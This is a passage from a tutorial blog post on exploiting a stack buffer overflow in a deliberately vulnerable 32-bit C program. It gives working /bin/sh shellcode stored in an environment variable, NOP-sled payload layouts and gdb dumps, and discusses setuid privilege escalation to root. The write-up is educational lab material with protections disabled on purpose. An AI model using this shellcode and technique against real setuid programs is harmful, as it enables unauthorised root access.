  0xffffcd45:	"\320\377\377\061\320\377\377Z\320\377\377w\320\377\377\207\320\377\377\236\320\377\377\257\320\377\377\303\320\377\377\362\320\377\377\025\321\377\377'\321\377\377\065\321\377\377L\321\377\377\220\321\377\377\277\321\377\377\354\321\377\377\366\321\377\377\t\322\377\377\221\327\377\377\244\327\377\377\336\327\377\377\370\327\377\377,\330\377\377E\330\377\377n\330\377\377\274\330\377\377\357\330\377\377\372\330\377\377\026\331\377\377Z\331\377\377p\331\377\377\375\332\377\377\024\333\377\377#\333\377\377D\333\377\377V\333\377\377p\333\377\377\232\333\377\377\257\333\377\377\303\333\377\377\316\333\377\377\341\333\377\377\027\334\377\377&\334\377\377\070\334\377\377U\334\377\377i\334\377\377r\334\377\377\210\334\377\377\232\334\377\377\271"...
  0xffffce0d:	"\334\377\377\323\334\377\377\357\334\377\377\376\334\377\377\016\335\377\377\026\335\377\377(\335\377\377T\335\377\377f\335\377\377s\335\377\377\216\335\377\377\256\335\377\377\310\335\377\377\332\335\377\377>\336\377\377z\336\377\377\312\336\377\377\352\336\377\377\375\336\377\377\a\337\377\377\022\337\377\377\061\337\377\377D\337\377\377^\337\377\377\200\337\377\377\230\337\377\377\254\337\377\377"
  0xffffce79:	""
  0xffffce7a:	""
  0xffffce7b:	""
  0xffffce7c:	" "
  0xffffce7e:	""
  0xffffce7f:	""
  0xffffce80:	"\340\177\375\367!"
  0xffffce86:	""
  0xffffce87:	""
  0xffffce88:	""
  0xffffce89:	"p\375\367\020"
  0xffffce8e:	""
  0xffffce8f:	""
  0xffffce90:	"\377\373\353\277\006"
  0xffffce96:	""
  0xffffce97:	""
  0xffffce98:	""
  0xffffce99:	"\020"
  0xffffce9b:	""
  0xffffce9c:	"\021"
  0xffffce9e:	""
  0xffffce9f:	""
  0xffffcea0:	"d"

    • Nope. No meaningful strings. Now, let us take stackaddress = 0xffffcea0 and try. Your Stack Addresses will mostly be different. But follow the steps.

    • Using address = 0xffffcea0:

        gdb-peda$ x/100s 0xffffcea0
  0xffffcea0:	"d"
  0xffffcea2:	""
  0xffffcea3:	""
  0xffffcea4:	"\003"
  0xffffcea6:	""
  0xffffcea7:	""
  0xffffcea8:	"4\200\004\b\004"
  0xffffceae:	""
  0xffffceaf:	""
  0xffffceb0:	" "
  0xffffceb2:	""
  0xffffceb3:	""
  0xffffceb4:	"\005"
  0xffffceb6:	""
  0xffffceb7:	""
  0xffffceb8:	"\t"
  0xffffceba:	""
  0xffffcebb:	""
  0xffffcebc:	"\a"
  0xffffcebe:	""
  0xffffcebf:	""
  0xffffcec0:	""
  0xffffcec1:	"\220\375\367\b"
  0xffffcec6:	""
  0xffffcec7:	""
  0xffffcec8:	""
  0xffffcec9:	""
  0xffffceca:	""
  0xffffcecb:	""
  0xffffcecc:	"\t"
  0xffffcece:	""
  0xffffcecf:	""
  0xffffced0:	"p\203\004\b\v"
  0xffffced6:	""
  0xffffced7:	""
  0xffffced8:	"\350\003"
  0xffffcedb:	""
  0xffffcedc:	"\f"
  0xffffcede:	""
  0xffffcedf:	""
  0xffffcee0:	"\350\003"
  0xffffcee3:	""
  0xffffcee4:	"\r"
  0xffffcee6:	""
  0xffffcee7:	""
  0xffffcee8:	"\350\003"
  0xffffceeb:	""
  0xffffceec:	"\016"
  0xffffceee:	""
  0xffffceef:	""
  0xffffcef0:	"\350\003"
  0xffffcef3:	""
  0xffffcef4:	"\027"
  0xffffcef6:	""
  0xffffcef7:	""
  0xffffcef8:	""
  0xffffcef9:	""
  0xffffcefa:	""
  0xffffcefb:	""
  0xffffcefc:	"\031"
  0xffffcefe:	""
  0xffffceff:	""
  0xffffcf00:	"+\317\377\377\032"
  0xffffcf06:	""
  0xffffcf07:	""
  0xffffcf08:	""
  0xffffcf09:	""
  0xffffcf0a:	""
  0xffffcf0b:	""
  0xffffcf0c:	"\037"
  0xffffcf0e:	""
  0xffffcf0f:	""
  0xffffcf10:	"\316\337\377\377\017"
  0xffffcf16:	""
  0xffffcf17:	""
  0xffffcf18:	";\317\377\377"
  0xffffcf1d:	""
  0xffffcf1e:	""
  0xffffcf1f:	""
  0xffffcf20:	""
  0xffffcf21:	""
  0xffffcf22:	""
  0xffffcf23:	""
  0xffffcf24:	""
  0xffffcf25:	""
  0xffffcf26:	""
  0xffffcf27:	""
  0xffffcf28:	""
  0xffffcf29:	""
  0xffffcf2a:	""
  0xffffcf2b:	"<\314Άk,\036\374\061E\b\024\067\305\367\244i686"
  0xffffcf40:	""
  0xffffcf41:	""
  0xffffcf42:	""
  0xffffcf43:	"/home/adwi/ALL/rev_eng_series/post_12/bof"
  0xffffcf6d:	"XDG_VTNR=7"
  0xffffcf78:	"XDG_SESSION_ID=c2"
  0xffffcf8a:	"CLUTTER_IM_MODULE=xim"
  0xffffcfa0:	"XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/adwi"
  0xffffcfd0:	"rvm_bin_path=/home/adwi/.rvm/bin"

    • Aah! There they are!

    • So, we are able to see a few environment variables. Look at the string at the address 0xffffcf43. It is “/home/adwi/ALL/rev_eng_series/post_12/bof”. This is argv[0] - the path of the executable. The next string is the environment variable. You can cross-verify this with the output of printenv.

    • So, now let us take 0xffffcf6d and find out all other environment variables.

        gdb-peda$ x/100s 0xffffcf6d
  0xffffcf6d:	"XDG_VTNR=7"
  0xffffcf78:	"XDG_SESSION_ID=c2"
  0xffffcf8a:	"CLUTTER_IM_MODULE=xim"
  0xffffcfa0:	"XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/adwi"
  0xffffcfd0:	"rvm_bin_path=/home/adwi/.rvm/bin"
  0xffffcff1:	"SESSION=ubuntu"
  0xffffd000:	"GPG_AGENT_INFO=/home/adwi/.gnupg/S.gpg-agent:0:1"
  0xffffd031:	"GEM_HOME=/home/adwi/.rvm/gems/ruby-2.4.1"
  0xffffd05a:	"SHELLCODE=wohfwoiehfowiehfoi"
  0xffffd077:	"SHELL=/bin/bash"
  0xffffd087:	"XDG_MENU_PREFIX=gnome-"
  0xffffd09e:	"VTE_VERSION=4205"
  0xffffd0af:	"TERM=xterm-256color"
  0xffffd0c3:	"IRBRC=/home/adwi/.rvm/rubies/ruby-2.4.1/.irbrc"
  0xffffd0f2:	"QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1"
  0xffffd115:	"WINDOWID=75499199"
  0xffffd127:	"SEED_ENV=1234"
  0xffffd135:	"GNOME_KEYRING_CONTROL="
  0xffffd14c:	"UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/2835"
  0xffffd190:	"MY_RUBY_HOME=/home/adwi/.rvm/rubies/ruby-2.4.1"
  0xffffd1bf:	"GTK_MODULES=gail:atk-bridge:unity-gtk-module"
  0xffffd1ec:	"USER=adwi"
  0xffffd1f6:	"QT_ACCESSIBILITY=1"
  0xffffd209:	"LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...
  0xffffd2d1:	"=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=0"...
  0xffffd399:	"1;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo"...
  0xffffd461:	"=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:"...
  0xffffd529:	"*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt"...
  0xffffd5f1:	"=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.o"...
  0xffffd6b9:	"gv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;3"...
  0xffffd781:	"6:*.xspf=00;36:"
  0xffffd791:	"_system_type=Linux"
  0xffffd7a4:	"XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0"
  0xffffd7de:	"UNITY_HAS_3D_SUPPORT=true"
  0xffffd7f8:	"XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0"
  0xffffd82c:	"rvm_path=/home/adwi/.rvm"
  0xffffd845:	"SSH_AUTH_SOCK=/run/user/1000/keyring/ssh"
  0xffffd86e:	"SESSION_MANAGER=local/adwi:@/tmp/.ICE-unix/3364,unix/adwi:/tmp/.ICE-unix/3364"
  0xffffd8bc:	"DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path"
  0xffffd8ef:	"COLUMNS=81"
  0xffffd8fa:	"UNITY_DEFAULT_PROFILE=unity"
  0xffffd916:	"XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg"
  0xffffd95a:	"rvm_prefix=/home/adwi"
  0xffffd970:	"PATH=/home/adwi/.cargo/bin:/home/adwi/.rvm/gems/ruby-2.4.1/bin:/home/adwi/.rvm/gems/ruby-2.4.1@global/bin:/home/adwi/.rvm/rubies/ruby-2.4.1/bin:/home/adwi/.cargo/bin:/home/adwi/bin:/home/adwi/.local/b"...
  0xffffda38:	"in:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/adwi/.rvm/bin:/home/adwi/android_studio_bin/:.:/home/adwi/.rvm/bin:/home/adwi/.cargo/bin"
  0xffffdafd:	"DESKTOP_SESSION=ubuntu"
  0xffffdb14:	"_=/usr/bin/gdb"
  0xffffdb23:	"QT_QPA_PLATFORMTHEME=appmenu-qt5"
  0xffffdb44:	"QT_IM_MODULE=ibus"
  0xffffdb56:	"JOB=unity-settings-daemon"
  0xffffdb70:	"PWD=/home/adwi/ALL/rev_eng_series/post_12"
  0xffffdb9a:	"XDG_SESSION_TYPE=x11"
  0xffffdbaf:	"XMODIFIERS=@im=ibus"
  0xffffdbc3:	"LANG=en_IN"
  0xffffdbce:	"GNOME_KEYRING_PID="
  0xffffdbe1:	"MANDATORY_PATH=/usr/share/gconf/ubuntu.mandatory.path"
  0xffffdc17:	"GDM_LANG=en_US"
  0xffffdc26:	"IM_CONFIG_PHASE=1"
  0xffffdc38:	"COMPIZ_CONFIG_PROFILE=ubuntu"
  0xffffdc55:	"_system_arch=x86_64"
  0xffffdc69:	"LINES=48"
  0xffffdc72:	"_system_version=16.04"
  0xffffdc88:	"GDMSESSION=ubuntu"
  0xffffdc9a:	"GTK2_MODULES=overlay-scrollbar"
  0xffffdcb9:	"SESSIONTYPE=gnome-session"
  0xffffdcd3:	"rvm_version=1.29.4 (master)"
  0xffffdcef:	"XDG_SEAT=seat0"
  0xffffdcfe:	"HOME=/home/adwi"
  0xffffdd0e:	"SHLVL=1"
  0xffffdd16:	"LANGUAGE=en_IN:en"
  0xffffdd28:	"GNOME_DESKTOP_SESSION_ID=this-is-deprecated"
  0xffffdd54:	"UPSTART_INSTANCE="
  0xffffdd66:	"LOGNAME=adwi"
  0xffffdd73:	"XDG_SESSION_DESKTOP=ubuntu"
  0xffffdd8e:	"UPSTART_EVENTS=xsession started"
  0xffffddae:	"COMPIZ_BIN_PATH=/usr/bin/"
  0xffffddc8:	"QT4_IM_MODULE=xim"
  0xffffddda:	"XDG_DATA_DIRS=/usr/share/ubuntu:/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop"
  0xffffde3e:	"DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-bCUgkuxed9"
  0xffffde7a:	"GEM_PATH=/home/adwi/.rvm/gems/ruby-2.4.1:/home/adwi/.rvm/gems/ruby-2.4.1@global"
  0xffffdeca:	"LESSOPEN=| /usr/bin/lesspipe %s"
  0xffffdeea:	"UPSTART_JOB=unity7"
  0xffffdefd:	"INSTANCE="
  0xffffdf07:	"DISPLAY=:0"
  0xffffdf12:	"XDG_RUNTIME_DIR=/run/user/1000"
  0xffffdf31:	"GTK_IM_MODULE=ibus"
  0xffffdf44:	"XDG_CURRENT_DESKTOP=Unity"
  0xffffdf5e:	"LESSCLOSE=/usr/bin/lesspipe %s %s"
  0xffffdf80:	"RUBY_VERSION=ruby-2.4.1"
  0xffffdf98:	"_system_name=Ubuntu"
  0xffffdfac:	"XAUTHORITY=/home/adwi/.Xauthority"
  0xffffdfce:	"/home/adwi/ALL/rev_eng_series/post_12/bof"
  0xffffdff8:	""
  0xffffdff9:	""
  0xffffdffa:	""
  0xffffdffb:	""
  0xffffdffc:	""
  0xffffdffd:	""
  0xffffdffe:	""
  0xffffdfff:	""

    • Awesome! We now have all the environment variables.

    • Think about this: All environment variables are being stored in the process’s stack. We have the freedom to add and delete environment varaibles. So, can we store the shellcode in an environment variable? Irrespective of it’s size, it is stored in the stack. Our problem of small stack seems to be solved isn’t it?

    • Let us implement this. Let us store the shellcode in an environment variable and try getting a shell.

  4. Saving the shellcode in an environment variable.

     rev_eng_series/post_12$ SHELLCODE=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"`
 adwi@adwi:~/ALL/rev_eng_series/post_12$ echo $SHELLCODE
 1�Ph//shh/bin��PS��1Ұ

    • Only Permanent variables will be inherited. So, convert the above local variable into a Permanent variable.

        rev_eng_series/post_12$ export SHELLCODE

    • We have now saved the variable.

  5. Check if it inherited or not.

    • Open up bof in gdb. List all environment variables using the x/ command as we did previously and make sure the variable SHELLCODE is present.

    • Let us change bof.c so that it prints the address of SHELLCODE variable. Look at the following:

        rev_eng_series/post_12$ cat bof.c
  #include<stdio.h>
  #include<string.h>

  void func() {

      char buffer[200];
      //printf("Address of buffer = %p\n", buffer);
      printf("Address of SHELLCODE = %p\n", getenv("SHELLCODE"));
      gets(buffer);
  }


  int main() {

      printf("Before calling func\n");
      func();
      printf("After calling func\n");
			
      return 0;
  }

    • The getenv function is being used to get the address.

    • Compile and run it.

        rev_eng_series/post_12$ ./bof
  Before calling func
  Address of SHELLCODE = 0xffffd01a
  iehfoiwhf
  After calling func

  6. Craft the payload:

    • The idea is the same. Instead of jumping to the buffer, we jump the environment variable where we have stored our shellcode.

    • So, this is how the payload will look like now:

        <'a' - 208 bytes><'b' - 4 bytes><Address of first byte of shellcode - 4 bytes>
  |------------------------------||--------------------------------------------|
              212 bytes							4 bytes

    • In my machine, the Address of first byte of shellcode = 0xffffd01a. Let us change the build_payload.c accordingly and store the payload in payload.txt.

  7. Execute the exploit:

     rev_eng_series/post_12$ cat payload.txt - | ./bof 
 Before calling func
 Address of SHELLCODE = 0xffffd01a

 whoami
 adwi

 who
 adwi     tty7         Dec  8 09:13 (:0)
    • Bingo! We got the shell!

With this, we have seen 2 methods of using Code Injection to exploit a BOF. Note that these are just 2 methods. You can invent your own method, and the method being used changes from situation to situation.

There are 2 important things I would like to mention here.

  1. All this time, we were working on a terminal. And we exploit a BOF for what? to get a shell. But, we already had a shell right? This is the first thought I got when I read about BOF exploitation. But, there is more to this. Consider you somehow hack into the server using Reverse-TCP Shellcode. You now get a Standard user shell(not root shell :( ). You look around in the server and see a program which is owned by root but can be run by Standard users. You dissect that program to find a BOF in it. Now, you couldn’t wait anymore. You chose one of the 2 methods discussed above and exploit it and get a shell! Now, what kind of shell would you get? You, would get a root shell!! This is because it’s parent process is owned by root, even the shell is owned by root meaning it is a root shell.

    • The point to understand is, in the above examples, we did not take such root-owned programs to demonstrate BOF exploitation. But, such root-owned programs exist. Take the sudo command for example.

        rev_eng_series/post_12$ ls -l /usr/bin/sudo
  -rwsr-xr-x 1 root root 136808 Jul  4  2017 /usr/bin/sudo

    • Look at it’s credentials carefully. It’s owner is root. It’s group is root. But we(Standard users) run it whenever we want. These type of executables are known as setuid executables.

    • sudo is said to setuid to root. What it means is, even when a Standard user runs it, it will run with root privileges.

    • Suppose you find a BOF in sudo. You can outright exploit it to get a root shell.

    • setuid is often called the neccesary evil. It is dangerous because of this, but it also required. So, be aware of what you are doing when you are dealing with setuid.

So, both the examples we took were of Standard Shellcode. This is local exploitation. What this means, once you already have access to a machine, you can try out these exploit methods on vulnerable programs. So, these methods will generally help you in getting higher privilege shell. This is known as Privilege Escalation. You go from being a Standard User to god (root :P).

  1. How do we make our exploit more reliable? There are a few problems we might face:

    • In the examples, we purposefully printed the Address of shellcode. So, we could use it and successfully exploit it. But, this doesn’t happen in real cases. Real Software will obviously not print the Address of shellcode. We can inject it and give a very intelligent guess. We saw the stack addresses changing. So, our guesses might fail.

    • There is a very common technique used to make our exploit better. It is known as nop sled.

    • nop is the No-Operation instruction. It’s machin code is \x90. It does nothing. It’s short for xchg eax, eax. What does this instruction do? essentially nothing. So, we can use this instruction and make our exploit better. Let us see how:

    • The following was the payload plan for the shellcode in buffer example:

        buffer: <shellcode - 25 bytes><'a' - 183 bytes><'b' - 4 bytes><Address of shellcode - 4 bytes>

    • So, for this should know the EXACT Address of where shellcode is present. Even if we make a mistake of 1 byte, exploit fails - not so reliable. Look at the following stack arrangement:

        buffer: <nop - 175 bytes><shellcode - 25 bytes><'a' - 8 bytes><'b' - 4 bytes><Address to nop / shellcode - 4 bytes>

    • Look at this now. You can jump to any of the first 176 addresses. The 176th byte is the first byte of shellcode. Now, this gives some air to breathe. Is this enough?

    • We can put a nop sled of say 5000 bytes and then shellcode. Store the whole thing in a environment variable. The complete payload is stored in the process’s memory without any problem.

    • Let us take up an example to understand this.

Exploitation - Example 3

We will be using the following program for this example:

rev_eng_series/post_12$ cat bof.c 
#include<stdio.h>
#include<string.h>

void func() {

	char buffer[200];
	gets(buffer);
}


int main() {

	printf("Before calling func\n");
	func();
	printf("After calling func\n");
	
	return 0;
}

  1. We have removed the printf statements. So, we don’t know the exact address. We are slowly going closer to reality :P

  2. We are still not fully into reality because we will be compiling the program like this:

     rev_eng_series/post_12$ gcc bof.c -o bof -m32 -fno-stack-protector -zexecstack

  3. Let us first craft the payload:

    • Let us put a nop-sled of size 5000 bytes. So, this is what our environment variable looks like:

        rev_eng_series/post_12$ SHELLCODE=`python -c "print '\x90' * 5000 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"`

  rev_eng_series/post_12$ export SHELLCODE

    • Now, we need to decide what address we want to overwrite the Return Address of func with. Yes, we have to guess, but not simply any address. Let us do some analysis and then give it a guess.

    • Open bof in gdb and find the Address of SHELLCODE variable.

    • This is how it’s look like:

        0xffffbcc7:	"SHELLCODE=", '\220' <repeats 190 times>...
  0xffffbd8f:	'\220' <repeats 200 times>...
  0xffffbe57:	'\220' <repeats 200 times>...
  0xffffbf1f:	'\220' <repeats 200 times>...
  0xffffbfe7:	'\220' <repeats 200 times>...
  0xffffc0af:	'\220' <repeats 200 times>...
  0xffffc177:	'\220' <repeats 200 times>...
  0xffffc23f:	'\220' <repeats 200 times>...
  0xffffc307:	'\220' <repeats 200 times>...
  0xffffc3cf:	'\220' <repeats 200 times>...
  0xffffc497:	'\220' <repeats 200 times>...
  0xffffc55f:	'\220' <repeats 200 times>...
  0xffffc627:	'\220' <repeats 200 times>...
  0xffffc6ef:	'\220' <repeats 200 times>...
  0xffffc7b7:	'\220' <repeats 200 times>...
  0xffffc87f:	'\220' <repeats 200 times>...
  0xffffc947:	'\220' <repeats 200 times>...
  0xffffca0f:	'\220' <repeats 200 times>...
  0xffffcad7:	'\220' <repeats 200 times>...
  0xffffcb9f:	'\220' <repeats 200 times>...
  0xffffcc67:	'\220' <repeats 200 times>...
  0xffffcd2f:	'\220' <repeats 200 times>...
  0xffffcdf7:	'\220' <repeats 200 times>...
  0xffffcebf:	'\220' <repeats 200 times>...
  0xffffcf87:	'\220' <repeats 200 times>...
  0xffffd04f:	"\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀"

    • We will first make sure the exploit works by exploiting it with the help of gdb.

    • So, the address is 0xffffbcc7 + 10. We are adding 10 because we don’t want “SHELLCODE=”. So, address from gdb is 0xffffbcd1. Note that this could be different for you.

    • Let us build the payload using build_payload.c. Let us give the Address to be 0xffffbcc7 + 1000 = 0xffffc0af. So, in this case, control should go to some place inside the nop-sled. Let us see if this works. Change the address in build_payload.c according to the address you have got and store the payload in payload.txt.

    • Now, let us run it with the payload:

        rev_eng_series/post_12$ gdb -q bof
  Reading symbols from bof...(no debugging symbols found)...done.
  gdb-peda$

    • Look at this:

        run < payload.txt 
  Starting program: /home/adwi/ALL/rev_eng_series/post_12/bof < payload.txt
  Before calling func
  process 6001 is executing new program: /bin/dash
  warning: the debug information found in "/lib64/ld-2.23.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).

  [Inferior 1 (process 6001) exited normally]
  Warning: not running or target is remote
  gdb-peda$

    • Didn’t debug, didn’t do anything. It is successful.

    • With gdb, we knew where the address was.

    • Now that we know the shellcode along with nop-sled is working properly, let us go ahead and exploit the program without gdb.

    • For once, let us go back to example one. There we printed the address of buffer. We will see the Address we got with and without gdb. In one of the instances,

      • With gdb, Address of buffer = 0xffffcbb8
      • Without gdb, Address of buffer = 0xffffcbd8

    • Look at the difference: It is 32 bytes. This difference is important because we will have a rough idea of how much the actual address deviates from address obtained from gdb. This is helpful in guessing the address.

    • We will give the same Address - 0xffffc0af. Let us see if this works.

        rev_eng_series/post_12$ cat payload.txt - | ./bof
  Before calling func

  whoami
  adwi

  ls
  bof    build_payload	exploit.txt  shell32		  shell32_no_null.o
  bof.c  build_payload.c	payload.txt  shell32_no_null.asm

  who
  adwi     tty7         Dec  8 09:13 (:0)

    • Success!! We did it!

    • So, this is the strength nop-sled gives.

    • We took help of gdb, had a large enough nop-sled and we got the shell without actually knowing the exact address.

With this, we have successfully demonstrated exploitation of BOF along with nop-sled.

So far, everything happened was nice. We got a shell in every example. In reality, is it this easy? Let us discuss this.

  1. We saw how the option of storing the shellcode in an environment variable made exploitation easier. Can we always use this option? Well no. Consider a situation where you exploiting a web server. You have a standard user shell from Reverse-TCP shellcode you wrote. Suppose this user has very limited privileges. Consider a case where the user doesn’t even have to power to create his/her own environment variable. So, what do we do? We either go for option1 or invent a new hack!

  2. A note about nop-sled. We saw the reliability it gives. Does this mean I can put a nop-sled of say 100000 bytes and store it in an environment variable. Does this make the exploit very very reliable? In theory according to what we saw yes. But, there are other problems. People know it is hard to clean up all bugs and vulnerabilities in software. So, Web-servers of most organizations have what is known as a Firewall. It monitors the network traffic in and out of the Web-Server. Along with Firewall, there will be other systems known as Intrusion Detection System(IDS) , Intrusion Prevention System(IPS) which will detect such intrusions / attacks. So, consider a situation where you have a remote shell to the victim machine. You set the environment variable with 100000 nop bytes. The IDS will catch it immediately. So, exploit fail :( .

  3. In today’s situation, shellcode injection exploitation is mostly not feasible(doesn’t mean BOFs are reducing). You saw we outright removed 3 security features(-fno-stack-protector, -zexecstack and echo 0 > randomize_va_space). These are very powerful security techniques administered in any Operating System by default. We removed it for experimental purposes. As Operating System’s security increases, researchers are coming up with better ways to exploit vulnerabilities, defeat current security measures.

There is one last thing I want to discuss.

In all the 3 examples, we first exploited the program in gdb and only then exploited it in real. Consider you are exploiting a program setuid to root.

From the examples, you will know that exploiting the program with gdb is way easier than without it. You will know the exact addresses, stack state and complete information of the process. But, why did we exploit the program without gdb?

There is a reason. Suppose you have opened up the setuid program with gdb and you get a shell also. If you look at the shell’s credentials, it will NOT be root credentials. It will be your own credentials. Isn’t it contradicting the purpose of setuid?

To know why this is happening, we will dig a bit deeper into how gdb works. The Linux Operating System offers a system call called ptrace - process trace. So, gdb uses this ptrace to trace the program we load into it. gdb is able to show all details about stack, registers because of the ptrace system call. ptrace hooks on to the target program.

So, when ptrace is hooked on to some program - be it a setuid program or a normal program, the Operating System automatically strips down the privileges it normally has. This is I think a security feature. Because with ptrace(gdb), exploitation is a lot easier.

I hope you understand the point.

Conclusion

The 3 programs we saw were examples meant for exploitation. Real situations can be entirely different, you might find a BOF in a very restricted condition. These will give you the basics, you will have to find a way to get the god access!

If you want to try exploiting a setuid executable, use bof_setuid.c. Once it is run, it will run as root. If you successfully exploit it, you will get a root shell.

Let us enable the security feature we had disabled.

rev_eng_series/post_12# echo 2 > /proc/sys/kernel/randomize_va_space

We saw how BOFs can be exploited using shellcode. We saw only local exploitation. Remote exploitation is even more interesting, probably in another post.

We have done enough practicals on BOF, Code injection etc., to finally talk about different security measures that mitigate these exploits. In the next post, we will only talk about these amazing security techniques. Once this is done, we will see how we can break each one of them :P

That is it for this post. I hope you learnt something from this.

Thank you!

Go to next post: How does the Operating System defend itself?
Go to previous post: Exploitation using Code Injection - Part3